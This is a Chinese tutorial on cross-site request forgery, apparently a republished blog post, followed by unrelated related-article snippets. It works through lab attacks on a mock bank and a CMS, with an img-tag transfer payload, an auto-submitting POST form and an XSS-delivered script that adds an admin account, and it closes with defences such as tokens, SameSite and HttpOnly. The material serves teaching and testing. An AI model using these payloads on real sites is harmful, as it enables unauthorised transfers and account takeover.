跨站请求伪造(CSRF)

文章目录

  • 渗透测试漏洞原理
  • 跨站请求伪造(CSRF)
    • 1. CSRF概述
      • 1.1 基本概念
        • 1.1.1 关键点
        • 1.1.2 目标
      • 1.2 CSRF场景
        • 1.2.1 银行账户转账
        • 1.2.2 构造虚假网站
        • 1.2.3 场景建模
        • 1.2.4 实验
      • 1.3 CSRF类别
        • 1.3.1 POST方式
      • 1.4 CSRF验证
        • 1.4.1 CSRF Poc generator
      • 1.5 XSS与CSRF的区别
    • 2. CSRF攻防
      • 2.1 CSRF实战
        • 2.1.1 与XSS漏洞相结合
        • 2.1.2 实验
      • 2.2 CSRF防御
        • 2.2.1 无效防御
        • 2.2.2 有效防御
        • 2.2.3 HttpOnly实验

渗透测试漏洞原理

跨站请求伪造(CSRF)

1. CSRF概述

1.1 基本概念

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Wb应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF攻击会危及整个Wb应用程序。

1.1.1 关键点

  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP地址,Windows域凭据等。

1.1.2 目标

CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

CSRF 的场景中,攻击者是没有办法获得服务器的响应。

1.2 CSRF场景

1.2.1 银行账户转账

搭建模拟银行网站 http://192.168.188.183/bank/ 。

image-20230828164204992

1.2.2 构造虚假网站

构造CSRF 攻击连接。

<meta charset='utf-8'>
<img src='./1.jpg'><br/> 
<img src='http://192.168.188.183/bank/action.php? username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>
  • 攻击者通过 <img> 标签构造GET 请求。

  • 浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

1.2.3 场景建模

image-20230828202821723

1.2.4 实验

该银行场景一共四个用户。

image-20230828165205071

其中hacker是黑客,账户余额为0。

admin用户可以给其他用户转账,admin给hello用户转账100块

image-20230828165342175

hello用户账户增加100块。

image-20230828165413396

如果admin用户访问了黑客提供的网站。并且点击了第一个链接。

image-20230828165519024

admin就会向黑客用户转账100元。

image-20230828165638812

黑客用户原先的余额

image-20230828165728495

admin用户点击黑客提供的链接后的余额:

image-20230828165807234

查看页面的请求数据,数据提交是在路径中进行的

image-20230828151941927

黑客利用admin访问bank网站的cookie信息。当访问csrf网站的时候,csrf向bank发送请求,bank网站中存储着bank网站的cookie信息,那么在响应的时候,也会将cookie信息携带上。

这个就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

image-20230828151952832

1.3 CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?

1.3.1 POST方式

<meta charset='utf-8'>
<form name='csrf' action='http://192.168.188.183/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'> 
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

这里第二个链接就是POST请求,admin用户点击第二个链接。

image-20230828172351802

image-20230828171234008

同样黑客用户的账户增加100块。

1.4 CSRF验证

bp中有一个Target功能模块,然后点击Site map ,会形成一个目录结构。

bp作为代理分析网站的时候,会自动检测安全风险,当前这里检测的只是一些非常初级的。

image-20230828210308909

右键目标主机,有两个功能选项:主动扫描主机,被动扫描主机。

image-20230828205734762

扫描到主机的风险列表:

image-20230828210703792

1.4.1 CSRF Poc generator

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。

这里以DVWA靶场为例,在CSRF这里,选择Low级别。

修改admin的密码为123456。

image-20230828173325130

抓包查看修改密码的数据包。

image-20230828173520970

然后使用bp来生成漏洞验证代码。右键点击点击Engagement tools选择Generate CSRF PoC

image-20230828173648419

将之前的123456密码修改为123.com,然后点击浏览器中测试。

image-20230828173853215

复制该URL地址

image-20230828173926926

在admin用户没有退出DVWA靶场的时候,访问了这个链接,点击提交请求。

image-20230828174031791

admin退出登录后以密码是123456来进行登录,发现登录失败。这个时候密码已经被修改为123.com了。

image-20230828174148933

通过bp验证存在CSRF漏洞。

1.5 XSS与CSRF的区别

攻击方式不同

  • XSS:XSS 攻击利用网页中存在的漏洞,注入恶意脚本代码,通过用户浏览器执行这些恶意脚本。攻击者可以窃取用户的敏感信息、劫持用户会话、修改网页内容等。
  • CSRF:CSRF 攻击则是利用用户的身份和权限发送未经授权的请求,通过伪装合法用户的请求来执行恶意操作。攻击者诱导用户访问恶意网站或点击恶意链接,在用户登录状态下发送伪造的请求。

攻击目标不同

  • XSS:XSS 攻击主要针对用户的浏览器,通过操纵网页内容来威胁用户的隐私和安全。
  • CSRF:CSRF 攻击主要针对受信任网站的用户,试图利用他们在目标网站上的身份和权限执行未经授权的操作。

攻击手段不同

  • XSS:XSS 攻击通过注入恶意脚本代码来实现,可以利用的漏洞包括反射型、存储型和 DOM 型 XSS。
  • CSRF:CSRF 攻击则依赖于目标网站的业务逻辑漏洞,攻击者构造伪造请求并诱使受害者执行。

防御策略不同

  • XSS:防御 XSS 攻击的主要方法包括对用户输入进行过滤和转义、使用 CSP(内容安全策略)限制脚本执行、设置 HttpOnly 标志等。
  • CSRF:防御 CSRF 攻击的主要方法包括使用 CSRF 令牌(加入一个随机生成的令牌,验证每个请求的合法性)、检查请求的来源 referer 头信息、使用 SameSite Cookie 属性等。

2. CSRF攻防

2.1 CSRF实战

2.1.1 与XSS漏洞相结合

首先确定目标网站存在XSS漏洞

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

2.1.2 实验

修改密码这里是无法进行CSRF攻击的,因为这里攻击者在构造的时候需要输入原密码。

image-20230828190425315

我们需要在添加用户的功能模块下完成实验。

点击添加账号

image-20230828190636776

添加一个wuhu用户

image-20230828190743937

使用bp抓包,查看添加用户的请求

image-20230828190900206

POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.188.183
Content-Length: 107
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.183
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.188.183/cms/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: username=admin; userid=1; PHPSESSID=a41pppsn1s0ven64a8smevjhsf; security=low
Connection: closeact=add&username=wuhu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.188.183/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=wuhu&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

然后将wuhu用户删除了。

再将构造的攻击代码提交到cms网站的留言板模块

image-20230828191625232

提交成功

image-20230828191637598

管理员登录后进行留言管理,看到了我们刚才的留言,意味着触发攻击了。

image-20230828191735754

使用wuhu这个用户登录系统,密码123.com。

image-20230828193031708

登录成功!

2.2 CSRF防御

2.2.1 无效防御

  • 使用秘密的Cookie。
  • 仅接收POST请求
  • 多步交易:多步交易,有可能会被恶意攻击者预测。
  • URL重写:用户的身份信息会暴露在URL中,不建议通过引入另外一个漏洞来解决当前漏洞。
  • HTTPS:所有安全机制的前提。

2.2.2 有效防御

验证Referer字段:

  • 前URL的上一个URL。
  • 转账页面到转账操作。
  • 伪造?

添加Token验证:

image-20230828195322677

  • 二次验证:在关键操作之前,再输入密码或者验证码。

  • HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。PHP: setcookie - Manual。

    image-20230828201700789

  • SameSite:Cookie 属性,浏览器自带的安全机制。

2.2.3 HttpOnly实验

验证:

创建一个function目录,在目录中创建一个setcookie.php文件。

image-20230828200317307

然后编写函数

<?phpsetcookie("username","wuhu",time()+3600,"","","",false);
?>

这里将httponly参数设置为false。

image-20230828200545372

在浏览器中进行页面访问,打开F12,输入如下命令:

alert(document.cookie);

image-20230828200658983

cookie信息成功弹出。

点击Application查看Cookie信息。

image-20230828200901920

将Cookie信息删除,再次输入命令。这次没有弹出Cookie信息。

image-20230828200953025

现在将httponly参数设置为true。

image-20230828201106728

点击Application查看Cookie信息,现在HttpOnly开启了,之前是没有开启的。

image-20230828201203465

再次输入alert(document.cookie);,发现弹框中没有任何信息。

image-20230828201336673

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/58929.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringAOP详解(下)

proxyFactory代理对象创建方式和代理对象调用方法过程&#xff1a; springaop创建动态代理对象和代理对象调用方法过程&#xff1a; 一、TargetSource的使用 Lazy注解&#xff0c;当加在属性上时&#xff0c;会产生一个代理对象赋值给这个属性&#xff0c;产生代理对象的代码为…

政府科技项目验收全流程分享

科技验收测试 &#xff08;验收申请→主管部门初审→科技厅审核→组织验收→归档备案→信用管理&#xff09;&#xff1a; &#xff08;一&#xff09;验收申请 项目承担单位通过省科技业务管理系统提交验收申请。 按期完成的项目&#xff0c;项目承担单位应当在项目合同书…

C 实现Window/DOS 键盘监听事件

今天是重新复习C语言实现的第一天&#xff0c;今天想编写C 对Windwos/Dos 键盘事件的学习。但是我在安装Visual Studio 2022 没有安装MFC 框架&#xff0c;今天记录下VS追加 MFC框架。 Visual Studio 2022 追加MFC 1、打开vs&#xff0c;点击创建新项目&#xff0c;右侧滑动框…

docker 学习-- 04 实践2 (lnpmr环境)

docker 学习 系列文章目录 docker 学习-- 01 基础知识 docker 学习-- 02 常用命令 docker 学习-- 03 环境安装 docker 学习-- 04 实践 1&#xff08;宝塔&#xff09; docker 学习-- 04 实践 2 &#xff08;lnpmr环境&#xff09; 文章目录 docker 学习 系列文章目录1. 配…

5G智能网关如何解决城市停车痛点难点

2023年上半年&#xff0c;我国汽车新注册登记1175万辆&#xff0c;同比增长5.8%&#xff0c;88个城市汽车保有量超过100万辆&#xff0c;北京、成都等24个城市超过300万辆。随着车辆保有量持续增加&#xff0c;停车难问题长期困扰城市居民&#xff0c;也导致城市路段违停普遍、…

制作鲜花商城小程序的详细步骤

如果你是一个新手商家&#xff0c;想要进入鲜花团购市场&#xff0c;但是不知道如何制作一个小程序商城&#xff0c;那么这篇文章就是为你准备的。以下是制作鲜花团购小程序商城的详细步骤&#xff1a; 1. 登录乔拓云平台后台&#xff0c;进入商城管理页面 首先&#xff0c;你需…

虚拟化技术:云计算发展的核心驱动力

文章目录 虚拟化技术的概念和作用虚拟化技术的优势虚拟化技术对未来发展的影响结论 &#x1f389;欢迎来到AIGC人工智能专栏~虚拟化技术&#xff1a;云计算发展的核心驱动力 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒&#x1f379;✨博客主页&#xff1a;IT陈寒的博客&#x1f388;该系…

WebGL矩阵变换库

目录 矩阵变换库&#xff1a; Matrix4对象所支持的方法和属性如表所示&#xff1a; 方法属性规范&#xff1a; 虽然平移、旋转、缩放等变换操作都可以用一个44的矩阵表示&#xff0c;但是在写WebGL程序的时候&#xff0c;手动计算每个矩阵很耗费时间。为了简化编程&#xf…

opencv 案例05-基于二值图像分析(简单缺陷检测)

缺陷检测&#xff0c;分为两个部分&#xff0c;一个部分是提取指定的轮廓&#xff0c;第二个部分通过对比实现划痕检测与缺角检测。本次主要搞定第一部分&#xff0c;学会观察图像与提取图像ROI对象轮廓外接矩形与轮廓。 下面是基于二值图像分析的大致流程 读取图像将图像转换…

Spring Cloud + Spring Boot 项目搭建结构层次示例讲解

Spring Cloud Spring Boot 项目搭建结构层次示例讲解 Spring Cloud 项目搭建结构层次示例Spring Cloud示例&#xff1a; Spring Boot 项目搭建结构层次讲解Spring Boot 项目通常按照一种常见的架构模式组织&#xff0c;可以分为以下几个主要层次&#xff1a;当构建一个 Spring…

【算法系列篇】位运算

文章目录 前言什么是位运算算法1.判断字符是否唯一1.1 题目要求1.2 做题思路1.3 Java代码实现 2. 丢失的数字2.1 题目要求2.2 做题思路2.3 Java代码实现 3. 两数之和3.1 题目要求3.2 做题思路3.3 Java代码实现 4. 只出现一次的数字4.1 题目要求4.2 做题思路4.3 Java代码实现 5.…

Ansible项目实战管理/了解项目环境/项目管理

一&#xff0c;项目环境 1.项目基础 项目过程 调研阶段 设计阶段 开发阶段 测试阶段 运营阶段 2.项目环境 个人开发环境 公司开发环境 项目测试环境 项目预发布环境 灰度环境&#xff1a;本身是生产环境&#xff0c;安装项目规划&#xff0c;最终所有的生产环境都发…

Python框架【模板继承 、继承模板实战、类视图 、类视图的好处 、类视图使用场景、基于调度方法的类视图】(四)

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小王&#xff0c;CSDN博客博主,Python小白 &#x1f4d5;系列专栏&#xff1a;python入门到实战、Python爬虫开发、Python办公自动化、Python数据分析、Python前后端开发 &#x1f4e7;如果文章知识点有错误…

CUDA小白 - NPP(2) -图像处理-算数和逻辑操作(2)

cuda小白 原始API链接 NPP GPU架构近些年也有不少的变化&#xff0c;具体的可以参考别的博主的介绍&#xff0c;都比较详细。还有一些cuda中的专有名词的含义&#xff0c;可以参考《详解CUDA的Context、Stream、Warp、SM、SP、Kernel、Block、Grid》 常见的NppStatus&#xf…

解压jar包并导入库环境

背景 因为各种历史原因&#xff0c;当初的maven依赖环境已下载不了了&#xff0c;所以需要从生产环境的jar包里&#xff0c;获取库环境来本地运行。 但是网上很多方法都是用mvn install命令&#xff0c;一个个jar包导入的&#xff0c;不符合我的需求&#xff08;需要导入280多…

R语言APRIORI关联规则、K-MEANS均值聚类分析中药专利复方治疗用药规律网络可视化...

全文链接&#xff1a;http://tecdat.cn/?p30605 应用关联规则、聚类方法等数据挖掘技术分析治疗的中药专利复方组方配伍规律&#xff08;点击文末“阅读原文”获取完整代码数据&#xff09;。 方法检索治疗中药专利复方&#xff0c;排除外用中药及中西药物合用的复方。最近我们…

CSS3D+动画

CSS3D 1.css3D 给父元素设置 perspective:景深:近大远小的效果900-1200px这个范围内 transform-style:是否设置3D环境 flat 2D环境 默认值 perserve-3D环境 3D功能函数 1.位移: translateZ()translate3D(x,y,z) <!DOCTYPE html> <html lang"en"><h…

linux下载安装jdk

1.java安装unzip,zip yum install -y unzip zip 2.安装vim yum -y install vim* Linux-jdk1.8下载地址点击下载 jdk1.8-linux 提取码&#xff1a;h40h 1、将安装包上传至Linux服务器 2、创建安装文件夹 创建install mkdir -p /export/install3、解压到install文件夹中 tar…

13.搬砖

目录 题目 Description Input Output 思路&#xff08;归并排序&#xff09; 具体步骤如下 C整体代码&#xff08;含详细注释&#xff09; 归并排序总结 核心步骤 代码模板 题目 Description 小张在暑假时间来到工地搬砖挣钱。包工头交给他一项艰巨的任务&#xff0…

Royal TSX 6 Mac多协议远程软件

Royal TSX是一款功能强大的远程桌面管理软件&#xff0c;适用于Mac操作系统。它允许用户通过一个集成的界面来管理和访问多个远程计算机和服务器。 Royal TSX支持多种远程协议&#xff0c;包括RDP、VNC、SSH、Telnet和FTP等&#xff0c;可以方便地连接到Windows、Linux、Mac和其…